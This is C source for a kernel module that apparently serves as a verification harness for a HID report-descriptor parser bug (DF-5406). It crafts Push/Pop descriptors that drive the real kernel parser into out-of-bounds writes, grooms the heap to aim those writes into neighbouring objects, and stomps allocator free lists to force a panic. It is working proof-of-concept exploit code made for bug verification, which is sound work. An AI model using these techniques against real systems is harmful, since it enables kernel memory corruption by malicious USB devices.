/*
 * DF-5406 verification harness — HID report-descriptor parser
 * push/Pop stack underflow -> OOB `cur[]' indexing in hid_get_item().
 *
 * PRODUCTION code paths exercised (all inside the guest kernel, the
 * module calls the real compiled-in symbols, no copies):
 *
 *   hid_start_parse()   sys/bus/u4b/usb_hid.c:173
 *   hid_get_item()      sys/bus/u4b/usb_hid.c:237
 *     :248   c = &s->cur[s->pushlevel];        <- OOB index on re-entry
 *     :274   *h = *c;                          <- 100-byte OOB read
 *     :289   hid_clear_local(c);               <- 48-byte OOB zero write
 *     :345-346 c->loc.count/size = ...         <- OOB writes (masked dvals)
 *     :402-417 c->logical_minimum/maximum=...  <- OOB writes (arbitrary dval)
 *   hid_end_parse()     sys/bus/u4b/usb_hid.c:195
 *
 * Bug mechanics:
 *   - `pushlevel' is uint8_t (usb_hid.c:88).  `case 10 Push' increments it
 *     UNCONDITIONALLY (:431); `case 11 Pop' decrements it UNCONDITIONALLY
 *     (:445).  Both only *use* it when `< MAXPUSH(4)', so a Pop at level 0
 *     wraps to 255 and 4+ Pushes leave it >= 4 — and the function happily
 *     RETURNS items (:278/:377/:390) with pushlevel out of range.
 *   - On the NEXT call of any hid_get_item() loop (hid_locate :617,
 *     hid_report_size :571, hid_is_mouse :869, every ukbd/ums/uhid/wsp
 *     attach probe), :248 derives c = &cur[4..255] — past cur[4] — and
 *     :289/hid_clear_local + the Global/Local item handlers write through
 *     it.  Attacker (the USB device owning the report descriptor) picks
 *     the index (number of Push/Pop bytes) and the content (item dvals).
 *
 * Descriptor item encodings used below (short items:
 *   byte = (tag<<4)|(type<<2)|size):
 *   0xB4 = Pop          (tag 11, Global, 0 bytes)
 *   0xA4 = Push         (tag 10, Global, 0 bytes)
 *   0x95 = Report Count (tag 9,  Global, 1 byte)
 *   0x81 = Input        (tag 8,  Main,   1 byte)   flags 0x02 = HIO_VARIABLE
 *   0x17 = Logical Min  (tag 1,  Global, 4 bytes)  -> c->logical_minimum
 *   0x27 = Logical Max  (tag 2,  Global, 4 bytes)  -> c->logical_maximum
 *
 * Modes (kern.hidrig_mode, fired by writing 1 to kern.hidrig_fire):
 *   0 = info: struct geometry (sizeof/offsetof)
 *   3 = guard proof: pack same-zone guard objects around the parser
 *       allocation, sweep OOB indices k=11..61, scan guards for the
 *       markers -> deterministic cross-object heap-corruption proof
 *       (no panic needed).
 *   1 = far write + allocator churn: single Pop (index 255, ~24.4 KB
 *       past the object) with read-back, then free-list stomping and
 *       allocation churn -> expect kernel panic.
 */
#include <sys/param.h>
#include <sys/kernel.h>
#include <sys/module.h>
#include <sys/systm.h>
#include <sys/types.h>
#include <sys/malloc.h>
#include <sys/sysctl.h>
#include <sys/bus.h>

#include <bus/u4b/usb.h>
#include <bus/u4b/usbdi.h>
#include <bus/u4b/usbhid.h>

/*
 * Private parser state — VERBATIM copy of usb_hid.c:67-95 so the harness
 * can compute sizeof()/offsetof() for the SAME layout the in-kernel
 * hid_start_parse() kmallocs.  The FUNCTIONS exercised are the guest
 * kernel's own compiled-in symbols (nm: hid_start_parse/hid_get_item T).
 */
#define	MAXUSAGE 64
#define	MAXPUSH 4
#define	MAXID 16

struct hid_pos_data {
	int32_t rid;
	uint32_t pos;
};

struct hid_data {
	const uint8_t *start;
	const uint8_t *end;
	const uint8_t *p;
	struct hid_item cur[MAXPUSH];
	struct hid_pos_data last_pos[MAXID];
	int32_t	usages_min[MAXUSAGE];
	int32_t	usages_max[MAXUSAGE];
	int32_t	usage_last;	/* last seen usage */
	uint32_t loc_size;	/* last seen size */
	uint32_t loc_count;	/* last seen count */
	uint8_t	kindset;	/* we have 5 kinds so 8 bits are enough */
	uint8_t	pushlevel;	/* current pushlevel */
	uint8_t	ncount;		/* end usage item count */
	uint8_t icount;		/* current usage item count */
	uint8_t	nusage;		/* end "usages_min/max" index */
	uint8_t	iusage;		/* current "usages_min/max" index */
	uint8_t ousage;	/* current "usages_min/max" offset */
	uint8_t	susage;		/* usage set flags */
};

static int hidrig_mode = 0;

static void mode_info(void);
static void mode_guard(void);
static void mode_far(void);

SYSCTL_INT(_kern, OID_AUTO, hidrig_mode, CTLFLAG_RW, &hidrig_mode, 0,
    "harness case: 0=info 3=guard-proof 1=far-write+churn");

static int
hidrig_fire(SYSCTL_HANDLER_ARGS)
{
	int error, val = 0;

	error = sysctl_handle_int(oidp, &val, 0, req);
	if (error != 0 || req->newptr == NULL)
		return (error);
	if (val == 0)
		return (0);
	switch (hidrig_mode) {
	case 0:
		mode_info();
		break;
	case 3:
		mode_guard();
		break;
	case 1:
		mode_far();
		break;
	default:
		kprintf("hidrig: unknown mode %d\n", hidrig_mode);
	}
	return (0);
}
SYSCTL_PROC(_kern, OID_AUTO, hidrig_fire, CTLTYPE_INT | CTLFLAG_RW,
    0, 0, hidrig_fire, "I", "write 1 to fire the selected case");

#define HIDRIG_NGUARD 24

/*
 * Build the OOB-trigger descriptor for target index k (4..255):
 *   - k == 255 : one Pop byte  (underflow 0 -> 255)
 *   - else     : k Push bytes  (over-push 0 -> k)
 * then `Report Count 1' + `Input(VAR)' so the FIRST hid_get_item() call
 * returns an item while pushlevel stays out of range.  The next call
 * re-derives c = &cur[k] (OOB) and:
 *   - hid_clear_local() zeroes cur[k]+4..+52
 *   - Logical Min/Max write the markers at cur[k]+4 / cur[k]+8
 *   - (readback) a trailing Input returns *h = *c — the harness prints
 *     h.logical_minimum == marker1 read back from OOB memory.
 */
static int
build_oob_desc(uint8_t *d, int k, uint32_t m1, uint32_t m2, int readback)
{
	int n = 0, i;

	if (k == 255) {
		d[n++] = 0xB4;			/* Pop @ level 0 -> 255 */
	} else {
		for (i = 0; i < k; i++)
			d[n++] = 0xA4;		/* Push x k -> level k */
	}
	d[n++] = 0x95; d[n++] = 0x01;		/* Report Count 1 */
	d[n++] = 0x81; d[n++] = 0x02;		/* Input(VAR): item #1 returns */
	/* ---- hid_get_item() call #2: c = &cur[k] (OOB) ---- */
	d[n++] = 0x17;				/* Logical Minimum, 4B */
	d[n++] = (uint8_t)m1; d[n++] = (uint8_t)(m1 >> 8);
	d[n++] = (uint8_t)(m1 >> 16); d[n++] = (uint8_t)(m1 >> 24);
	d[n++] = 0x27;				/* Logical Maximum, 4B */
	d[n++] = (uint8_t)m2; d[n++] = (uint8_t)(m2 >> 8);
	d[n++] = (uint8_t)(m2 >> 16); d[n++] = (uint8_t)(m2 >> 24);
	if (readback) {
		d[n++] = 0x95; d[n++] = 0x01;	/* Report Count 1 */
		d[n++] = 0x81; d[n++] = 0x02;	/* returns *h = *c (OOB read) */
	}
	return (n);
}

static void
drive_desc(const uint8_t *d, int len, int quiet, struct hid_data **s_out)
{
	struct hid_data *s;
	struct hid_item h;
	int n = 0;

	memset(&h, 0, sizeof(h));
	s = hid_start_parse(d, len, 1 << hid_input);
	if (s == NULL) {
		kprintf("hidrig: hid_start_parse failed\n");
		if (s_out != NULL)
			*s_out = NULL;
		return;
	}
	if (!quiet) {
		size_t cur_off =
		    (size_t)((uintptr_t)&((struct hid_data *)0)->cur[0]);
		kprintf("hidrig: hid_data=%p size=%zu cur=%p(+%zu) "
		    "cur[255] would be %p\n", s, sizeof(*s),
		    &s->cur[0], cur_off,
		    (uint8_t *)s + cur_off +
		    255 * sizeof(struct hid_item));
	}
	if (s_out != NULL)
		*s_out = s;
	while (hid_get_item(s, &h)) {
		n++;
		if (!quiet)
			kprintf("hidrig:   item %d: kind=%d "
			    "logmin=0x%08x logmax=0x%08x pos=%u size=%u "
			    "count=%u\n", n, h.kind, h.logical_minimum,
			    h.logical_maximum, h.loc.pos, h.loc.size,
			    h.loc.count);
	}
	hid_end_parse(s);
}

/* ---- mode 0: geometry ------------------------------------------------ */
static void
mode_info(void)
{
	size_t cur_off = (size_t)((uintptr_t)&((struct hid_data *)0)->cur[0]);

	kprintf("hidrig: sizeof(struct hid_data)=%zu  sizeof(struct hid_item)=%zu\n",
	    sizeof(struct hid_data), sizeof(struct hid_item));
	kprintf("hidrig: offsetof(hid_data, cur)=%zu  MAXPUSH=%d MAXID=%d "
	    "MAXUSAGE=%d\n", cur_off, MAXPUSH, MAXID, MAXUSAGE);
	kprintf("hidrig: &cur[k] offset = %zu + k*%zu; alloc size %zu\n",
	    cur_off, sizeof(struct hid_item), sizeof(struct hid_data));
	kprintf("hidrig: cur[11]=+%zu cur[21]=+%zu cur[255]=+%zu  "
	    "(object ends at +%zu)\n",
	    cur_off + 11 * sizeof(struct hid_item),
	    cur_off + 21 * sizeof(struct hid_item),
	    cur_off + 255 * sizeof(struct hid_item),
	    sizeof(struct hid_data));
}

/* ---- mode 3: guard-object cross-corruption proof ---------------------
 *
 * Deterministic, no heap-layout luck:
 *  1. zero a 600-byte descriptor buffer and hid_start_parse() it — the
 *     parser chunk is now LIVE and its address known;
 *  2. allocate guard objects (same kmalloc size class) — they pack the
 *     chunks neighbouring the parser;
 *  3. measure the parser->guard delta, compute the OOB index k whose
 *     cur[k].logical_minimum write (+24+100k+4) lands mid-guard;
 *  4. write the trigger descriptor INTO THE SAME BUFFER (the parser has
 *     consumed nothing yet — exactly like a real device, whose descriptor
 *     bytes are only read as parsing proceeds);
 *  5. drive hid_get_item() — the OOB write now lands in a chosen,
 *     already-allocated guard object; scan all guards.
 */
static void
mode_guard(void)
{
#define HIDRIG_NPRE  8
#define HIDRIG_MAXG  96
	uint8_t *g[HIDRIG_MAXG];
	size_t gz = sizeof(struct hid_data);
	uint8_t desc[600];
	struct hid_data *s;
	struct hid_item h;
	int i, k, len, hits = 0, n, nguard = 0;
	long best = -1;
	int best_i = -1;
	uint32_t m1, m2;

	memset(g, 0, sizeof(g));
	memset(desc, 0, sizeof(desc));

	/* pre-guards + live parser allocation (nothing parsed yet) */
	for (i = 0; i < HIDRIG_NPRE; i++) {
		g[nguard++] = kmalloc(gz, M_TEMP, M_WAITOK | M_ZERO);
		memset(g[nguard - 1], 0xAA, gz);
	}
	s = hid_start_parse(desc, sizeof(desc), 1 << hid_input);
	if (s == NULL) {
		kprintf("hidrig: hid_start_parse failed\n");
		goto free;
	}

	/* keep allocating guards until one lands ABOVE the parser chunk
	 * (cur[k] writes only go to positive offsets) */
	while (nguard < HIDRIG_MAXG) {
		g[nguard++] = kmalloc(gz, M_TEMP, M_WAITOK | M_ZERO);
		memset(g[nguard - 1], 0xAA, gz);
		for (i = 0; i < nguard; i++) {
			long d = (long)((uintptr_t)g[i] - (uintptr_t)s);
			if (d > 0 && d < 20000 && (best_i < 0 || d < best)) {
				best = d;
				best_i = i;
			}
		}
		if (best_i >= 0)
			break;
	}
	kprintf("hidrig: live parser chunk s=%p (size %zu), %d guards\n",
	    s, gz, nguard);
	if (best_i < 0) {
		kprintf("hidrig: no guard landed above s\n");
		hid_end_parse(s);
		goto free;
	}
	kprintf("hidrig: target guard[%d]=%p delta=%+ld above s\n",
	    best_i, g[best_i], best);

	/* cur[k].logical_minimum is at offset 24+100k+4 — aim mid-guard */
	k = (int)((best + (long)gz / 2 - 28) / 100);
	if (k < 11 || k > 254) {
		kprintf("hidrig: computed k=%d out of range\n", k);
		hid_end_parse(s);
		goto free;
	}
	m1 = 0xC0DE0000u + (uint32_t)k;
	m2 = ~m1;
	kprintf("hidrig: target index k=%d: marker 0x%08x at s+%d "
	    "= guard[%d]+%ld\n", k, m1, 24 + 100 * k + 4, best_i,
	    (long)(24 + 100 * k + 4) - best);

	/* write the trigger into the descriptor buffer the parser is
	 * anchored to, then drive it */
	len = build_oob_desc(desc, k, m1, m2, 0);
	kprintf("hidrig: firing %d-byte descriptor\n", len);

	n = 0;
	while (hid_get_item(s, &h))
		n++;
	kprintf("hidrig: parse done, %d items returned\n", n);
	hid_end_parse(s);

	for (i = 0; i < nguard; i++) {
		size_t off;
		for (off = 0; off + 4 <= gz; off += 4) {
			uint32_t v =
			    *(volatile uint32_t *)(void *)(g[i] + off);
			if (v != 0xAAAAAAAAu) {
				kprintf("hidrig: GUARD %2d base=%p +0x%04zx: "
				    "0x%08x  <-- CROSS-OBJECT CORRUPTION\n",
				    i, g[i], off, v);
				hits++;
				break;
			}
		}
	}
	kprintf("hidrig: guard scan done: %d/%d guards corrupted\n",
	    hits, nguard);
free:
	for (i = 0; i < nguard; i++)
		kfree(g[i], M_TEMP);
	kprintf("hidrig: mode 3 complete\n");
#undef HIDRIG_NPRE
#undef HIDRIG_MAXG
}

/* ---- mode 1: far write (k=255) + allocator churn --------------------- */
static void
mode_far(void)
{
	uint8_t *g[64];
	uint8_t desc[600];
	size_t gz = sizeof(struct hid_data);
	uint32_t m1 = 0xFEED0001u, m2 = 0xFEED0002u;
	int i, len;

	kprintf("hidrig: mode 1 phase A: single Pop -> cur[255], "
	    "+%zu past the %zu-byte object\n",
	    (size_t)(24 + 255 * sizeof(struct hid_item) +
	    sizeof(struct hid_item)) - gz, gz);
	len = build_oob_desc(desc, 255, m1, m2, 1);
	drive_desc(desc, len, 0, NULL);
	kprintf("hidrig: phase A done (last item logmin should read "
	    "0x%08x back from +24.4KB OOB memory)\n", m1);

	kprintf("hidrig: phase B: allocator churn (free-list stomp)\n");
	for (i = 0; i < 64; i++) {
		g[i] = kmalloc(gz, M_TEMP, M_WAITOK | M_ZERO);
		memset(g[i], 0xAA, gz);
	}
	/* free every other guard: their in-body freelist links are live */
	for (i = 0; i < 64; i += 2)
		kfree(g[i], M_TEMP);
	/* corrupt across the freed region with a wide sweep */
	for (i = 11; i <= 61; i += 5) {
		len = build_oob_desc(desc, i,
		    0xBAADF00Du + (uint32_t)i, 0x0BADC0DEu, 0);
		drive_desc(desc, len, 1, NULL);
	}
	/* churn the zone: allocator walks whatever we clobbered */
	for (i = 0; i < 256; i++) {
		void *p = kmalloc(gz, M_TEMP, M_WAITOK | M_ZERO);
		if ((i % 32) == 0)
			kprintf("hidrig: churn alloc %d ok (%p)\n", i, p);
		kfree(p, M_TEMP);
	}
	kprintf("hidrig: mode 1 complete (no trap in churn)\n");
}

static int
hidrig_load(module_t mod, int what, void *arg)
{
	switch (what) {
	case MOD_LOAD:
		kprintf("hidrig: loaded (DF-5406 harness), "
		    "sysctl kern.hidrig_mode / kern.hidrig_fire\n");
		return (0);
	case MOD_UNLOAD:
		kprintf("hidrig: unloaded\n");
		return (0);
	default:
		return (EOPNOTSUPP);
	}
}

static moduledata_t hidrig_mod = { "hidrig", hidrig_load, NULL };
DECLARE_MODULE(hidrig, hidrig_mod, SI_SUB_DRIVERS, SI_ORDER_ANY);
